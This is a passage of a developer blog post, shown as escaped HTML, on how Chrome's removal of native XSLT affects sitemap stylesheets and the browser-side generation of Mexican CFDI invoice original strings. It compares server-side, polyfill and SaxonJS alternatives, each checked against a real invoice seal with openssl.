&lt;span class=&quot;token function&quot;&gt;add_filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;wpseo_stylesheet_url&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;__return_empty_string&amp;#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In Rank Math the filter is per sitemap type (&lt;code&gt;rank_math/sitemap/{type}_stylesheet_url&lt;/code&gt;). In Astro, just remove &lt;code&gt;xslURL&lt;/code&gt; or &lt;code&gt;stylesheet&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Serve HTML separately.&lt;/strong&gt; That is what WordPress PR #12584 proposes: the same transform, done on the server, published at a &lt;code&gt;.html&lt;/code&gt; URL. The &lt;code&gt;.xml&lt;/code&gt; stays for machines.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CSS instead of XSL.&lt;/strong&gt; &lt;code&gt;&amp;lt;?xml-stylesheet type=&amp;quot;text/css&amp;quot;?&amp;gt;&lt;/code&gt; is still supported, but the WordPress ticket pointed out the limit: CSS can style the XML, but the &lt;code&gt;&amp;lt;loc&amp;gt;&lt;/code&gt; entries do not become clickable links.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For feeds, Chrome recommends advertising the feed with &lt;code&gt;&amp;lt;link rel=&amp;quot;alternate&amp;quot;&amp;gt;&lt;/code&gt; in your HTML instead of a visible link to the &lt;code&gt;.xml&lt;/code&gt;, or adding a single polyfill line to the feed.&lt;/p&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #f43f5e&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#f43f5e1a;color:#f43f5e&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; XML Formatter and Validator &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Indent, minify and validate XML in your browser. It preserves comments, CDATA and the declaration, and points at errors with line and column. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/xml-formatter/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;formateador-xml&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;cfdi-invoices-where-code-actually-breaks&quot;&gt;CFDI invoices: where code actually breaks&lt;/h2&gt;
&lt;p&gt;Context for anyone who does not invoice in Mexico: a &lt;strong&gt;CFDI&lt;/strong&gt; is the electronic invoice format mandated by Mexico’s tax authority, the SAT, and every one is a signed XML file. The signature (the &lt;code&gt;Sello&lt;/code&gt; attribute) is not computed over the whole XML but over the &lt;strong&gt;original string&lt;/strong&gt; (&lt;em&gt;cadena original&lt;/em&gt;): the invoice’s values in a fixed order, separated by &lt;code&gt;|&lt;/code&gt;. To verify a seal you need that string. To print the tax stamp’s own string on a PDF representation, you need it too.&lt;/p&gt;
&lt;p&gt;The SAT publishes that sequence as an XSLT stylesheet: on its &lt;a href=&quot;http://omawww.sat.gob.mx/tramitesyservicios/Paginas/anexo_20.htm&quot;&gt;Annex 20 page&lt;/a&gt;, the “Secuencia de cadena original” document links to &lt;a href=&quot;http://www.sat.gob.mx/sitio_internet/cfd/4/cadenaoriginal_4_0/cadenaoriginal_4_0.xslt&quot;&gt;&lt;code&gt;cadenaoriginal_4_0.xslt&lt;/code&gt;&lt;/a&gt;, last modified on 17 April 2026. The tax stamp has its own, &lt;code&gt;cadenaoriginal_TFD_1_1.xslt&lt;/code&gt;. Three details of that file matter here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It declares &lt;code&gt;version=&amp;quot;2.0&amp;quot;&lt;/code&gt;, but browsers only implement XSLT 1.0. It still works with 1.0 processors: the &lt;a href=&quot;https://github.com/eclipxe13/CfdiUtils&quot;&gt;CfdiUtils&lt;/a&gt; docs say so for PHP, which uses the same engine as Chrome (libxslt), and I confirmed it in the browser below.&lt;/li&gt;
&lt;li&gt;It pulls in &lt;strong&gt;33 &lt;code&gt;xsl:include&lt;/code&gt;&lt;/strong&gt; files (utilities and complements), all by absolute URL to &lt;code&gt;http://www.sat.gob.mx&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The output is plain text (&lt;code&gt;method=&amp;quot;text&amp;quot;&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That is why building the string in the browser was tempting: &lt;code&gt;XSLTProcessor&lt;/code&gt; came built in, and the XML never left the user’s machine. I looked for real code doing it and found two patterns:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An npm library of Mexican validators and catalogues, with a release published at the end of August 2026, whose original-string function uses &lt;code&gt;new XSLTProcessor()&lt;/code&gt; when it detects &lt;code&gt;window&lt;/code&gt; and falls back to a JavaScript engine in Node. In Chrome 158 the detection is still true (&lt;code&gt;DOMParser&lt;/code&gt; is not going anywhere), so it takes the browser branch and throws the &lt;code&gt;ReferenceError&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A public JavaScript e-signature repository that loads &lt;code&gt;cadenaoriginal_3_3.xslt&lt;/code&gt; from a file input, stores it in &lt;code&gt;localStorage&lt;/code&gt; and builds the string with &lt;code&gt;XSLTProcessor.transformToDocument&lt;/code&gt; to verify the seal of a CFDI 3.3 invoice.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;the-sat-stylesheet-does-not-run-as-is-in-the-browser&quot;&gt;The SAT stylesheet does not run as-is in the browser&lt;/h3&gt;
&lt;p&gt;I found this while testing and have not seen it documented anywhere. Hand &lt;code&gt;XSLTProcessor&lt;/code&gt; the official stylesheet and Chrome refuses to load the 33 includes (the URL below is my test page):&lt;/p&gt;
&lt;pre class=&quot;language-text&quot; data-language=&quot;text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Unsafe attempt to load URL http://www.sat.gob.mx/sitio_internet/cfd/2/cadenaoriginal_2_0/utilerias.xslt
from frame with URL http://localhost:8765/native.html. Domains, protocols and ports must match.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result is &lt;code&gt;null&lt;/code&gt;. So anyone building the string in the browser with &lt;code&gt;XSLTProcessor&lt;/code&gt; today has to serve the stylesheet and its includes from their own origin, or flattened into a single file. That helps detection: the copy lives in your repository, so searching for &lt;code&gt;cadenaoriginal&lt;/code&gt; finds it.&lt;/p&gt;
&lt;h3 id=&quot;why-this-sites-cfdi-viewer-does-not-break&quot;&gt;Why this site’s CFDI viewer does not break&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.siemprecontable.net/herramientas/visor-cfdi&quot;&gt;CFDI 4.0 XML viewer&lt;/a&gt; I wrote for this site, which now lives on Siempre Contable (in Spanish), does not use XSLT, and not by luck. It reads the XML with &lt;code&gt;DOMParser&lt;/code&gt;, walks &lt;code&gt;Comprobante&lt;/code&gt;, &lt;code&gt;Emisor&lt;/code&gt;, &lt;code&gt;Receptor&lt;/code&gt;, &lt;code&gt;Conceptos&lt;/code&gt;, &lt;code&gt;Impuestos&lt;/code&gt; and the &lt;code&gt;TimbreFiscalDigital&lt;/code&gt;, translates the catalogue codes and checks the arithmetic. It does not build the original string or validate the seal, and the tool says so on screen. &lt;code&gt;DOMParser&lt;/code&gt; is one of the APIs Chrome cites as the modern way to read XML, so it is not at risk. I grepped the whole repository: not a single &lt;code&gt;XSLTProcessor&lt;/code&gt; or &lt;code&gt;xml-stylesheet&lt;/code&gt;. The site’s sitemaps and RSS feed carry no stylesheet either. The open-source &lt;a href=&quot;https://ortamarco.me/en/portfolio/mx-fiscal-mcp/&quot;&gt;mx-fiscal-mcp-server&lt;/a&gt;, which reads CFDI invoices for AI agents, runs in Node on &lt;code&gt;@xmldom/xmldom&lt;/code&gt; and does not use XSLT either.&lt;/p&gt;
&lt;h2 id=&quot;the-alternatives-tested-against-a-real-seal&quot;&gt;The alternatives, tested against a real seal&lt;/h2&gt;
&lt;p&gt;Claiming “SaxonJS solves it” is easy. To check it, I took &lt;code&gt;cfdi40-valid.xml&lt;/code&gt; from the CfdiUtils test suite, a CFDI 4.0 invoice signed with a SAT test certificate. I generated the string with each engine and accepted it only if the XML’s &lt;code&gt;Sello&lt;/code&gt; verifies against it with the public key of its own &lt;code&gt;Certificado&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# cert.pem = the base64 Certificado attribute, wrapped as PEM&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# sello.bin = the Sello attribute, base64-decoded&lt;/span&gt;
openssl x509 &lt;span class=&quot;token parameter variable&quot;&gt;-in&lt;/span&gt; cert.pem &lt;span class=&quot;token parameter variable&quot;&gt;-pubkey&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-noout&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; pub.pem
openssl dgst &lt;span class=&quot;token parameter variable&quot;&gt;-sha256&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-verify&lt;/span&gt; pub.pem &lt;span class=&quot;token parameter variable&quot;&gt;-signature&lt;/span&gt; sello.bin cadena.txt
&lt;span class=&quot;token comment&quot;&gt;# Verified OK  → the string is correct&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The reference was Saxon-HE 12.5 (Java, MPL 2.0) with the official stylesheet: &lt;code&gt;Verified OK&lt;/code&gt;. The rest:&lt;/p&gt;















































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Engine&lt;/th&gt;&lt;th&gt;Runs in&lt;/th&gt;&lt;th&gt;License&lt;/th&gt;&lt;th&gt;Result with the SAT stylesheet&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Native &lt;code&gt;XSLTProcessor&lt;/code&gt;, official stylesheet&lt;/td&gt;&lt;td&gt;Browser&lt;/td&gt;&lt;td&gt;—&lt;/td&gt;&lt;td&gt;Fails: blocks cross-origin includes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Native &lt;code&gt;XSLTProcessor&lt;/code&gt;, local copy&lt;/td&gt;&lt;td&gt;Browser&lt;/td&gt;&lt;td&gt;—&lt;/td&gt;&lt;td&gt;&lt;code&gt;Verified OK&lt;/code&gt;. Gone in Chrome 158&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;xslt-polyfill 1.0.28, stylesheet flattened into one file&lt;/td&gt;&lt;td&gt;Browser (WASM)&lt;/td&gt;&lt;td&gt;BSD-3-Clause&lt;/td&gt;&lt;td&gt;&lt;code&gt;Verified OK&lt;/code&gt; with native XSLT turned off&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;xslt-polyfill 1.0.28, copy with includes&lt;/td&gt;&lt;td&gt;Browser (WASM)&lt;/td&gt;&lt;td&gt;BSD-3-Clause&lt;/td&gt;&lt;td&gt;Fails: &lt;code&gt;Error: Unknown mime type undefined&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SaxonJS 2.7 (&lt;code&gt;saxon-js&lt;/code&gt; + &lt;code&gt;xslt3&lt;/code&gt;), stylesheet compiled to SEF&lt;/td&gt;&lt;td&gt;Node; per its docs the SEF also runs in the browser&lt;/td&gt;&lt;td&gt;Free of charge, not open source&lt;/td&gt;&lt;td&gt;&lt;code&gt;Verified OK&lt;/code&gt; in Node&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;xslt-processor 5.1.2&lt;/td&gt;&lt;td&gt;Pure JS&lt;/td&gt;&lt;td&gt;LGPL-3.0&lt;/td&gt;&lt;td&gt;Different string, seal does not verify&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;The xslt-processor string starts with &lt;code&gt;|||||&lt;/code&gt; (five pipes instead of two). With the flattened stylesheet, the output shrinks to three pipes. It may be fine for other jobs, but it does not produce the SAT’s original string as-is.&lt;/p&gt;
&lt;p&gt;The polyfill’s failure with includes is not a random bug; it is in its README. It resolves &lt;code&gt;xsl:include&lt;/code&gt; with &lt;code&gt;fetch()&lt;/code&gt;, which is asynchronous, while &lt;code&gt;XSLTProcessor&lt;/code&gt;’s methods are synchronous, so they fail when the stylesheet has includes. Flattening fixes it: replace each &lt;code&gt;&amp;lt;xsl:include&amp;gt;&lt;/code&gt; with the contents of the included stylesheet, in the same order. With the current 4.0 stylesheet you do not need to add namespaces, because the main root already declares every one the includes use.&lt;/p&gt;
&lt;h3 id=&quot;option-1-on-the-server-the-boring-one-which-is-why-it-wins&quot;&gt;Option 1: on the server (the boring one, which is why it wins)&lt;/h3&gt;
&lt;p&gt;PHP’s ext-xsl is still in the &lt;a href=&quot;https://www.php.net/manual/en/book.xsl.php&quot;&gt;PHP manual&lt;/a&gt;, built on libxslt, and Chrome’s removal does not touch it. With CfdiUtils (&lt;code&gt;eclipxe/cfdiutils&lt;/code&gt;, MIT, 3.0.4 from 11 September 2026):&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;token package&quot;&gt;CfdiUtils&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;XmlResolver&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;XmlResolver&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;token package&quot;&gt;CfdiUtils&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;CadenaOrigen&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;DOMBuilder&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// XmlResolver downloads the SAT stylesheets and rewrites their dependencies to local copies&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$resolver&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;XmlResolver&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$location&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$resolver&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;resolveCadenaOrigenLocation&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;4.0&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token variable&quot;&gt;$cadena&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;DOMBuilder&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$xmlContent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$location&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A correction to something that gets repeated: &lt;strong&gt;CfdiUtils does not build the string without XSLT.&lt;/strong&gt; &lt;code&gt;DOMBuilder&lt;/code&gt; is an ext-xsl &lt;code&gt;XSLTProcessor&lt;/code&gt;; it also ships &lt;code&gt;GenkgoXslBuilder&lt;/code&gt; (XSLT 2.0 in PHP) and &lt;code&gt;SaxonbCliBuilder&lt;/code&gt;. Its author explains that building the string without XSLT is possible, but it means a lot of code to write and test, and that code has to change along with every complement’s specification.&lt;/p&gt;
&lt;p&gt;From the browser, it becomes one request:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; data-language=&quot;js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;/api/cfdi/original-string&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string-property property&quot;&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;application/xml&amp;#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; xmlText&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; cadena &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The cost is privacy: if your viewer promised “the XML never leaves your browser”, that stops being true and the copy has to change.&lt;/p&gt;
&lt;h3 id=&quot;option-2-stay-in-the-browser-with-the-polyfill&quot;&gt;Option 2: stay in the browser with the polyfill&lt;/h3&gt;
&lt;p&gt;If local processing is the product, &lt;a href=&quot;https://github.com/mfreed7/xslt_polyfill&quot;&gt;xslt-polyfill&lt;/a&gt; replaces &lt;code&gt;XSLTProcessor&lt;/code&gt; with libxslt compiled to WebAssembly. It weighs about 1.4 MB minified. With a flattened stylesheet, your existing code does not change:&lt;/p&gt;
&lt;pre class=&quot;language-html&quot; data-language=&quot;html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;script&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;quot;&lt;/span&gt;/vendor/xslt-polyfill.min.js&lt;span class=&quot;token punctuation&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token script&quot;&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;script&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;script&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token script&quot;&gt;&lt;span class=&quot;token language-javascript&quot;&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; xsl &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;DOMParser&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parseFromString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;flattenedStylesheet&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;application/xml&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; cfdi &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;DOMParser&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parseFromString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;xmlText&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;application/xml&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;XSLTProcessor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// the polyfill&amp;#39;s, once the browser has no XSLT&lt;/span&gt;
  p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;importStylesheet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;xsl&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; cadena &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;transformToFragment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cfdi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;textContent&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;script&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;While the browser still has native XSLT, the polyfill does not install itself. To try it in today’s Chrome, set &lt;code&gt;window.xsltUsePolyfillAlways = true&lt;/code&gt; before loading the script.&lt;/p&gt;
&lt;h3 id=&quot;option-3-saxonjs&quot;&gt;Option 3: SaxonJS&lt;/h3&gt;
&lt;p&gt;SaxonJS implements the mandatory parts of XSLT 3.0, which is more than enough for a stylesheet declaring 2.0. The documented flow is to compile the stylesheet to a SEF file and run that:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;npx xslt3 &lt;span class=&quot;token parameter variable&quot;&gt;-xsl:cadenaoriginal_4_0_flat.xslt&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-export:cadena.sef.json&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-nogo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;language-js&quot; data-language=&quot;js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; SaxonJS &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;saxon-js&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;principalResult&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; cadena &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; SaxonJS&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;stylesheetFileName&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;cadena.sef.json&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
